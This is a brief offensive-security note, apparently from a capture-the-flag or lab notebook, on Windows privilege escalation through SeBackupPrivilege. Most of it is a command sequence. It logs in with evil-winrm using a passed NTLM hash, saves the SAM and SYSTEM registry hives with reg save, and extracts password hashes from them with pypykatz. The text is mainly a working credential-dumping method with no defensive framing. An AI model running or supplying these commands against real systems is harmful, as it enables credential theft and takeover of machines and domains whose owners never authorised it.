PrivEsc - SeBackupPrivilege
# use srv_backup has dangerous privilenge assigned
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
# we will attempt to escalate privilege using this misconfigured permission# evil-winrm to the system and create a directory on C:\\tmp
evil-winrm -i 10.10.10.192 -u srv_backup -H '9658d1d1dcd9250115e2205d9f48400d'
# once done, dump the sam.hive and system.hive into this directory
reg save hklm\\sam C:\\tmp\\sam.hive
reg save hklm\\system C:\\tmp\\system.hive
# now using winrm builtin command, we can download these file to kali
# once down loaded, we can extract these files using pypykart
pypykatz registry --sam sam.hive system.hive
Technique
Last updated